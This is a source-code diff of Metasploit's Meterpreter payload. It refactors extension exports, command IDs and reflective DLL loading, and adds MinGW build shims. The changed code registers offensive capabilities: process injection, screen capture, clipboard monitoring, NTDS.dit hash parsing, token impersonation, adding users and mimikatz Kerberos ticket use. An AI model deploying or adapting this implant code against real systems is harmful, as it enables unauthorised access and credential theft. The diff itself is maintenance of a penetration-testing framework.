#define EXPORT_REFLECTIVELOADER 1
|
||||
#define EXPORT_INITSERVEREXTENSION 2
|
||||
#define EXPORT_DEINITSERVEREXTENSION 3
|
||||
#define EXPORT_STAGELESSINIT 4
|
||||
#define EXPORT_COMMANDADDED 5
|
||||
|
||||
#endif
|
@ -7,7 +7,7 @@
|
||||
|
||||
typedef struct _InjectApi
|
||||
{
|
||||
DWORD(*dll)(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char* cpCommandLine);
|
||||
DWORD(*dll)(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, char* cpCommandLine);
|
||||
DWORD(*via_apcthread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
|
||||
DWORD(*via_remotethread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
|
||||
DWORD(*via_remotethread_wow64)(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* pThread);
|
||||
@ -92,7 +92,7 @@ typedef struct _SchedulerApi
|
||||
typedef struct _PacketApi
|
||||
{
|
||||
BOOL(*get_tlv_value_bool)(Packet* packet, TlvType type);
|
||||
BYTE*(*get_tlv_value_raw)(Packet* packet, TlvType type);
|
||||
BYTE*(*get_tlv_value_raw)(Packet* packet, TlvType type, DWORD* length);
|
||||
DWORD(*add_completion_handler)(LPCSTR requestId, PacketRequestCompletion* completion);
|
||||
DWORD(*add_exception)(Packet* packet, DWORD code, PCHAR fmt, ...);
|
||||
DWORD(*add_group)(Packet* packet, TlvType type, Packet* groupPacket);
|
||||
@ -117,7 +117,7 @@ typedef struct _PacketApi
|
||||
DWORD(*transmit_empty_response)(Remote* remote, Packet* packet, DWORD res);
|
||||
DWORD(*transmit_response)(DWORD result, Remote* remote, Packet* response);
|
||||
PCHAR(*get_tlv_value_string)(Packet* packet, TlvType type);
|
||||
Packet*(*create)(PacketTlvType type, LPCSTR method);
|
||||
Packet*(*create)(PacketTlvType type, UINT commandId);
|
||||
Packet*(*create_group)();
|
||||
Packet*(*create_response)(Packet* request);
|
||||
PacketTlvType(*get_type)(Packet* packet);
|
||||
@ -126,6 +126,7 @@ typedef struct _PacketApi
|
||||
UINT(*get_tlv_value_uint)(Packet* packet, TlvType type);
|
||||
VOID(*destroy)(Packet* packet);
|
||||
wchar_t*(*get_tlv_value_wstring)(Packet* packet, TlvType type);
|
||||
LPCSTR(*get_tlv_value_reflective_loader)(Packet* packet);
|
||||
} PacketApi;;
|
||||
|
||||
typedef struct _CommandApi
|
||||
|
@ -29,15 +29,15 @@ typedef UINT_PTR(*PTransportGetHandle)(Transport* transport);
|
||||
typedef DWORD(*PTransportGetConfigSize)(Transport* transport);
|
||||
typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle);
|
||||
typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
|
||||
typedef BOOL(*PTransportInit)(Transport* transport);
|
||||
typedef BOOL(*PTransportDeinit)(Transport* transport);
|
||||
typedef DWORD(*PTransportInit)(Transport* transport);
|
||||
typedef DWORD(*PTransportDeinit)(Transport* transport);
|
||||
typedef void(*PTransportDestroy)(Transport* transport);
|
||||
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer);
|
||||
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
|
||||
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
|
||||
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
|
||||
|
||||
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
|
||||
typedef DWORD(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
|
||||
typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength);
|
||||
|
||||
typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction);
|
||||
|
@ -13,7 +13,8 @@ typedef struct _EVENT
|
||||
|
||||
#define THREADCALL __stdcall
|
||||
|
||||
typedef DWORD (THREADCALL * THREADFUNK)(struct _THREAD * thread);
|
||||
typedef struct _THREAD THREAD, *LPTHREAD;
|
||||
typedef DWORD (THREADCALL * THREADFUNK)(LPTHREAD thread);
|
||||
|
||||
struct _THREAD
|
||||
{
|
||||
@ -26,6 +27,5 @@ struct _THREAD
|
||||
LPVOID parameter3;
|
||||
};
|
||||
|
||||
typedef struct _THREAD THREAD, * LPTHREAD;
|
||||
|
||||
#endif
|
||||
|
7
c/meterpreter/source/def/extension.def
Normal file
7
c/meterpreter/source/def/extension.def
Normal file
@ -0,0 +1,7 @@
|
||||
NAME extension.dll
|
||||
EXPORTS
|
||||
ReflectiveLoader @1 NONAME PRIVATE
|
||||
InitServerExtension @2 NONAME PRIVATE
|
||||
DeinitServerExtension @3 NONAME PRIVATE
|
||||
StagelessInit @4 NONAME PRIVATE
|
||||
CommandAdded @5 NONAME PRIVATE
|
3
c/meterpreter/source/def/metsrv.def
Normal file
3
c/meterpreter/source/def/metsrv.def
Normal file
@ -0,0 +1,3 @@
|
||||
NAME server.dll
|
||||
EXPORTS
|
||||
ReflectiveLoader @1 NONAME PRIVATE
|
3
c/meterpreter/source/def/plugin.def
Normal file
3
c/meterpreter/source/def/plugin.def
Normal file
@ -0,0 +1,3 @@
|
||||
NAME plugin.dll
|
||||
EXPORTS
|
||||
ReflectiveLoader @1 NONAME PRIVATE
|
@ -16,7 +16,7 @@
|
||||
// define this as we want to use our own DllMain function
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
// include the Reflectiveloader() function
|
||||
#define RDIDLL_NOEXPORT
|
||||
#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
/*
|
||||
|
@ -10,11 +10,12 @@
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#define RDIDLL_NOEXPORT
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ( "espia_image_get_dev_screen", request_image_get_dev_screen ),
|
||||
COMMAND_REQ(COMMAND_ID_ESPIA_IMAGE_GET_DEV_SCREEN, request_image_get_dev_screen),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
@ -24,9 +25,9 @@ Command customCommands[] =
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote)
|
||||
DWORD InitServerExtension(MetApi* api, Remote *remote)
|
||||
{
|
||||
met_api = api;
|
||||
met_api = api;
|
||||
|
||||
met_api->command.register_all( customCommands );
|
||||
|
||||
@ -38,7 +39,7 @@ DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote)
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
DWORD DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
met_api->command.deregister_all( customCommands );
|
||||
|
||||
@ -46,13 +47,21 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the name of the extension.
|
||||
* @param buffer Pointer to the buffer to write the name to.
|
||||
* @brief Do a stageless initialisation of the extension.
|
||||
* @param ID of the extension that the init was intended for.
|
||||
* @param buffer Pointer to the buffer that contains the init data.
|
||||
* @param bufferSize Size of the \c buffer parameter.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
|
||||
DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize)
|
||||
{
|
||||
strncpy_s(buffer, bufferSize, "espia", bufferSize - 1);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Callback for when a command has been added to the meterpreter instance.
|
||||
* @param commandId The ID of the command that has been added.
|
||||
*/
|
||||
VOID CommandAdded(UINT commandId)
|
||||
{
|
||||
}
|
||||
|
@ -6,21 +6,19 @@
|
||||
extern "C" {
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
#include <Iads.h>
|
||||
#include <Adshlp.h>
|
||||
#include <AdsErr.h>
|
||||
#include <iads.h>
|
||||
#include <adshlp.h>
|
||||
#include <adserr.h>
|
||||
#include "adsi_interface.h"
|
||||
}
|
||||
|
||||
#pragma comment(lib, "Activeds.lib")
|
||||
|
||||
#define VALUE_SIZE 1024
|
||||
#define PATH_SIZE 256
|
||||
|
||||
typedef BOOL (WINAPI *PCONVERTSIDTOSTRINGSID)(PSID pSid, LPSTR* pStr);
|
||||
|
||||
/*! @brief The GUID of the Directory Search COM object. */
|
||||
static const IID IID_IDirectorySearch = { 0x109BA8EC, 0x92F0, 0x11D0, { 0xA7, 0x90, 0x00, 0xC0, 0x4F, 0xD8, 0xD5, 0xA8 } };
|
||||
extern const IID IID_IDirectorySearch = { 0x109BA8EC, 0x92F0, 0x11D0, { 0xA7, 0x90, 0x00, 0xC0, 0x4F, 0xD8, 0xD5, 0xA8 } };
|
||||
|
||||
static PCONVERTSIDTOSTRINGSID pConvertSidToStringSid = NULL;
|
||||
static HMODULE hAdvapi32 = NULL;
|
||||
|
@ -10,7 +10,11 @@ extern "C" {
|
||||
#include "extapi.h"
|
||||
#include "clipboard_image.h"
|
||||
}
|
||||
#include <GdiPlus.h>
|
||||
#include <gdiplus.h>
|
||||
|
||||
#ifndef max
|
||||
#define max(x,y) ((x)>(y)?(x):(y))
|
||||
#endif
|
||||
|
||||
/*!
|
||||
* @brief Get the Class ID of an encoder which supports encoding to the specified MIME type.
|
||||
@ -214,4 +218,4 @@ DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQualit
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -9,6 +9,7 @@
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#define RDIDLL_NOEXPORT
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
#include "window.h"
|
||||
@ -22,22 +23,22 @@ MetApi* met_api = NULL;
|
||||
/*! @brief List of commands that the extended API extension providers. */
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ("extapi_window_enum", request_window_enum),
|
||||
COMMAND_REQ("extapi_service_enum", request_service_enum),
|
||||
COMMAND_REQ("extapi_service_query", request_service_query),
|
||||
COMMAND_REQ("extapi_service_control", request_service_control),
|
||||
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
|
||||
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
|
||||
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
|
||||
COMMAND_REQ("extapi_ntds_parse", ntds_parse),
|
||||
COMMAND_REQ("extapi_wmi_query", request_wmi_query),
|
||||
COMMAND_REQ("extapi_pageant_send_query", request_pageant_send_query),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_WINDOW_ENUM, request_window_enum),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_SERVICE_ENUM, request_service_enum),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_SERVICE_QUERY, request_service_query),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_SERVICE_CONTROL, request_service_control),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_CLIPBOARD_GET_DATA, request_clipboard_get_data),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA, request_clipboard_set_data),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_START, request_clipboard_monitor_start),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PAUSE, request_clipboard_monitor_pause),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_RESUME, request_clipboard_monitor_resume),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_PURGE, request_clipboard_monitor_purge),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_STOP, request_clipboard_monitor_stop),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_CLIPBOARD_MONITOR_DUMP, request_clipboard_monitor_dump),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_ADSI_DOMAIN_QUERY, request_adsi_domain_query),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_NTDS_PARSE, ntds_parse),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_WMI_QUERY, request_wmi_query),
|
||||
COMMAND_REQ(COMMAND_ID_EXTAPI_PAGEANT_SEND_QUERY, request_pageant_send_query),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
@ -47,9 +48,9 @@ Command customCommands[] =
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
DWORD InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
met_api = api;
|
||||
met_api = api;
|
||||
|
||||
met_api->command.register_all(customCommands);
|
||||
|
||||
@ -64,7 +65,7 @@ DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
DWORD DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
met_api->command.deregister_all(customCommands);
|
||||
|
||||
@ -72,13 +73,21 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the name of the extension.
|
||||
* @param buffer Pointer to the buffer to write the name to.
|
||||
* @brief Do a stageless initialisation of the extension.
|
||||
* @param ID of the extension that the init was intended for.
|
||||
* @param buffer Pointer to the buffer that contains the init data.
|
||||
* @param bufferSize Size of the \c buffer parameter.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
|
||||
DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize)
|
||||
{
|
||||
strncpy_s(buffer, bufferSize, "extapi", bufferSize - 1);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Callback for when a command has been added to the meterpreter instance.
|
||||
* @param commandId The ID of the command that has been added.
|
||||
*/
|
||||
VOID CommandAdded(UINT commandId)
|
||||
{
|
||||
}
|
||||
|
@ -7,6 +7,8 @@
|
||||
|
||||
#include "../../common/common.h"
|
||||
|
||||
#define JET_VERSION 0x0600
|
||||
|
||||
#define TLV_TYPE_EXTENSION_EXTAPI 0
|
||||
|
||||
#define TLV_TYPE_EXT_WINDOW_ENUM_GROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 1)
|
||||
@ -81,7 +83,6 @@
|
||||
#define TLV_TYPE_EXT_PAGEANT_STATUS MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 85)
|
||||
#define TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 86)
|
||||
#define TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 87)
|
||||
#define TLV_TYPE_EXT_PAGEANT_SIZE_IN MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 88)
|
||||
#define TLV_TYPE_EXT_PAGEANT_BLOB_IN MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 89)
|
||||
|
||||
#define TLV_TYPE_EXT_WMI_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 90)
|
||||
|
@ -5,10 +5,8 @@
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#define JET_VERSION 0x0501
|
||||
|
||||
#include <inttypes.h>
|
||||
#include <WinCrypt.h>
|
||||
#include <wincrypt.h>
|
||||
#include "syskey.h"
|
||||
#include "ntds_decrypt.h"
|
||||
#include "ntds_jet.h"
|
||||
|
@ -4,10 +4,8 @@
|
||||
*/
|
||||
#include "extapi.h"
|
||||
|
||||
#define JET_VERSION 0x0501
|
||||
|
||||
#include <inttypes.h>
|
||||
#include <WinCrypt.h>
|
||||
#include <wincrypt.h>
|
||||
#include "syskey.h"
|
||||
#include "ntds_decrypt.h"
|
||||
#include "ntds_jet.h"
|
||||
|
@ -5,15 +5,34 @@
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#define JET_VERSION 0x0501
|
||||
|
||||
#include <inttypes.h>
|
||||
#include <WinCrypt.h>
|
||||
#include <wincrypt.h>
|
||||
#include "syskey.h"
|
||||
#include "ntds_decrypt.h"
|
||||
#include "ntds_jet.h"
|
||||
#include "ntds.h"
|
||||
|
||||
#ifdef __MINGW32__
|
||||
typedef JET_ERR (JET_API*PJetGetTableColumnInfo)(JET_SESID sesid, JET_TABLEID tableid, const char* szColumnName, void* pvResult, unsigned long cbMax, unsigned long InfoLevel);
|
||||
#endif
|
||||
|
||||
JET_ERR JET_API InternalJetGetTableColumnInfo(JET_SESID sesid, JET_TABLEID tableid, const char* szColumnName, void* pvResult, unsigned long cbMax, unsigned long InfoLevel)
|
||||
{
|
||||
#ifdef __MINGW32__
|
||||
// This function does exist in the x64 version of mingw's compiler.
|
||||
// Doesn't live in the x86 version, and I have no idea why. So add
|
||||
// a dynamic invocation to cover for it at runtime.
|
||||
static PJetGetTableColumnInfo pFunc = NULL;
|
||||
if (pFunc == NULL)
|
||||
{
|
||||
pFunc = (PJetGetTableColumnInfo)GetProcAddress(LoadLibraryA("esent.dll"), "JetGetTableColumnInfo");
|
||||
}
|
||||
return pFunc(sesid, tableid, szColumnName, pvResult, cbMax, InfoLevel);
|
||||
#else
|
||||
return JetGetTableColumnInfo(sesid, tableid, szColumnName, pvResult, cbMax, InfoLevel);
|
||||
#endif
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Shuts down the Jet Instance and frees the jetState struct.
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
@ -128,7 +147,7 @@ JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountC
|
||||
};
|
||||
int countColumns = sizeof(columns) / sizeof(columns[0]);
|
||||
for (int i = 0; i < countColumns; i++) {
|
||||
columnError = JetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, columns[i].name, columns[i].column, sizeof(JET_COLUMNDEF), JET_ColInfo);
|
||||
columnError = InternalJetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, columns[i].name, columns[i].column, sizeof(JET_COLUMNDEF), JET_ColInfo);
|
||||
if (columnError != JET_errSuccess) {
|
||||
return columnError;
|
||||
}
|
||||
|
@ -180,8 +180,7 @@ DWORD request_pageant_send_query(Remote *remote, Packet *packet)
|
||||
PAGEANTQUERYRESULTS results = { 0 };
|
||||
|
||||
// Retrieve from metasploit
|
||||
rawDataSizeIn = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_PAGEANT_SIZE_IN);
|
||||
rawDataIn = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN);
|
||||
rawDataIn = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN, &rawDataSizeIn);
|
||||
|
||||
dprintf("[PJ(request_pageant_send_query)] Size in: %d. Data is at 0x%p", rawDataSizeIn, rawDataIn);
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
#include "service.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#include <Sddl.h>
|
||||
#include <sddl.h>
|
||||
|
||||
/*! @brief The possible list of operations to perform on a service */
|
||||
typedef enum _ServiceOperation
|
||||
|
@ -4,10 +4,8 @@
|
||||
*/
|
||||
#include "extapi.h"
|
||||
|
||||
#define JET_VERSION 0x0501
|
||||
|
||||
#include <inttypes.h>
|
||||
#include <WinCrypt.h>
|
||||
#include <wincrypt.h>
|
||||
#include "syskey.h"
|
||||
#include "ntds_decrypt.h"
|
||||
#include "ntds_jet.h"
|
||||
|
@ -9,13 +9,10 @@ extern "C" {
|
||||
#include <inttypes.h>
|
||||
#include "wmi_interface.h"
|
||||
}
|
||||
#include <WbemCli.h>
|
||||
#include <wbemcli.h>
|
||||
#include <comutil.h>
|
||||
#include <comdef.h>
|
||||
|
||||
#pragma comment(lib, "wbemuuid.lib")
|
||||
#pragma comment(lib, "comsuppw.lib")
|
||||
|
||||
#define FIELD_SIZE 1024
|
||||
#define ENUM_TIMEOUT 5000
|
||||
|
||||
@ -27,6 +24,76 @@ extern "C" {
|
||||
#define SYSTEM_FIELD_COUNT 8
|
||||
#endif
|
||||
|
||||
#ifdef __MINGW32__
|
||||
// Provide custom implmentations of the BSTR conversion
|
||||
// functions because comsuppw.lib is a proprietary lib
|
||||
// that comes with Vis Studio
|
||||
namespace _com_util
|
||||
{
|
||||
inline BSTR ConvertStringToBSTR(const char* pSrc)
|
||||
{
|
||||
if(!pSrc)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
DWORD cwch;
|
||||
BSTR wsOut(NULL);
|
||||
|
||||
if(cwch = ::MultiByteToWideChar(CP_ACP, 0, pSrc, -1, NULL, 0))
|
||||
{
|
||||
cwch--;
|
||||
wsOut = ::SysAllocStringLen(NULL, cwch);
|
||||
|
||||
if(wsOut)
|
||||
{
|
||||
if(!::MultiByteToWideChar(CP_ACP, 0, pSrc, -1, wsOut, cwch))
|
||||
{
|
||||
if(ERROR_INSUFFICIENT_BUFFER == ::GetLastError())
|
||||
{
|
||||
return wsOut;
|
||||
}
|
||||
::SysFreeString(wsOut);//must clean up
|
||||
wsOut = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return wsOut;
|
||||
}
|
||||
|
||||
inline char* ConvertBSTRToString(BSTR pSrc)
|
||||
{
|
||||
if(!pSrc)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//convert even embeded NULL
|
||||
DWORD cb,cwch = ::SysStringLen(pSrc);
|
||||
|
||||
char *szOut = NULL;
|
||||
|
||||
if(cb = ::WideCharToMultiByte(CP_ACP, 0, pSrc, cwch + 1, NULL, 0, 0, 0))
|
||||
{
|
||||
szOut = new char[cb];
|
||||
if(szOut)
|
||||
{
|
||||
szOut[cb - 1] = '\0';
|
||||
|
||||
if(!::WideCharToMultiByte(CP_ACP, 0, pSrc, cwch + 1, szOut, cb, 0, 0))
|
||||
{
|
||||
delete []szOut;//clean up if failed;
|
||||
szOut = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return szOut;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
/*!
|
||||
* @brief Convert a variant type to a string and write it to the given buffer.
|
||||
* @param v The variant to convert.
|
||||
@ -39,7 +106,7 @@ extern "C" {
|
||||
* array depth has been attempted, but no tests have yet found a nested array in the
|
||||
* result set. There's probably bugs in that bit.
|
||||
*/
|
||||
char* variant_to_string(_variant_t& v, char* buffer, DWORD bufferSize)
|
||||
char* variant_to_string(const _variant_t& v, char* buffer, DWORD bufferSize)
|
||||
{
|
||||
dprintf("[WMI] preparing to parse variant of type %u (%x), buffer size %u", v.vt, v.vt, bufferSize);
|
||||
|
||||
|
@ -14,6 +14,7 @@
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#define RDIDLL_NOEXPORT
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
DWORD request_incognito_list_tokens(Remote *remote, Packet *packet);
|
||||
@ -203,12 +204,12 @@ cleanup:
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ( "incognito_list_tokens", request_incognito_list_tokens ),
|
||||
COMMAND_REQ( "incognito_impersonate_token", request_incognito_impersonate_token ),
|
||||
COMMAND_REQ( "incognito_add_user", request_incognito_add_user ),
|
||||
COMMAND_REQ( "incognito_add_group_user", request_incognito_add_group_user ),
|
||||
COMMAND_REQ( "incognito_add_localgroup_user", request_incognito_add_localgroup_user ),
|
||||
COMMAND_REQ( "incognito_snarf_hashes", request_incognito_snarf_hashes ),
|
||||
COMMAND_REQ( COMMAND_ID_INCOGNITO_LIST_TOKENS, request_incognito_list_tokens ),
|
||||
COMMAND_REQ( COMMAND_ID_INCOGNITO_IMPERSONATE_TOKEN, request_incognito_impersonate_token ),
|
||||
COMMAND_REQ( COMMAND_ID_INCOGNITO_ADD_USER, request_incognito_add_user ),
|
||||
COMMAND_REQ( COMMAND_ID_INCOGNITO_ADD_GROUP_USER, request_incognito_add_group_user ),
|
||||
COMMAND_REQ( COMMAND_ID_INCOGNITO_ADD_LOCALGROUP_USER, request_incognito_add_localgroup_user ),
|
||||
COMMAND_REQ( COMMAND_ID_INCOGNITO_SNARF_HASHES, request_incognito_snarf_hashes ),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
@ -218,9 +219,9 @@ Command customCommands[] =
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
DWORD InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
met_api = api;
|
||||
met_api = api;
|
||||
|
||||
met_api->command.register_all( customCommands );
|
||||
|
||||
@ -232,7 +233,7 @@ DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
DWORD DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
met_api->command.deregister_all( customCommands );
|
||||
|
||||
@ -240,13 +241,21 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the name of the extension.
|
||||
* @param buffer Pointer to the buffer to write the name to.
|
||||
* @brief Do a stageless initialisation of the extension.
|
||||
* @param ID of the extension that the init was intended for.
|
||||
* @param buffer Pointer to the buffer that contains the init data.
|
||||
* @param bufferSize Size of the \c buffer parameter.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
|
||||
DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize)
|
||||
{
|
||||
strncpy_s(buffer, bufferSize, "incognito", bufferSize - 1);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Callback for when a command has been added to the meterpreter instance.
|
||||
* @param commandId The ID of the command that has been added.
|
||||
*/
|
||||
VOID CommandAdded(UINT commandId)
|
||||
{
|
||||
}
|
||||
|
@ -9,25 +9,23 @@
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#define RDIDLL_NOEXPORT
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
#include "main.h"
|
||||
|
||||
extern __declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPWSTR input);
|
||||
extern wchar_t * powershell_reflective_mimikatz(LPWSTR input);
|
||||
extern DWORD kuhl_m_kerberos_ptt_data(PVOID data, DWORD dataSize);
|
||||
extern LONG mimikatz_initOrClean(BOOL Init);
|
||||
|
||||
DWORD request_exec_cmd(Remote *remote, Packet *packet);
|
||||
DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet);
|
||||
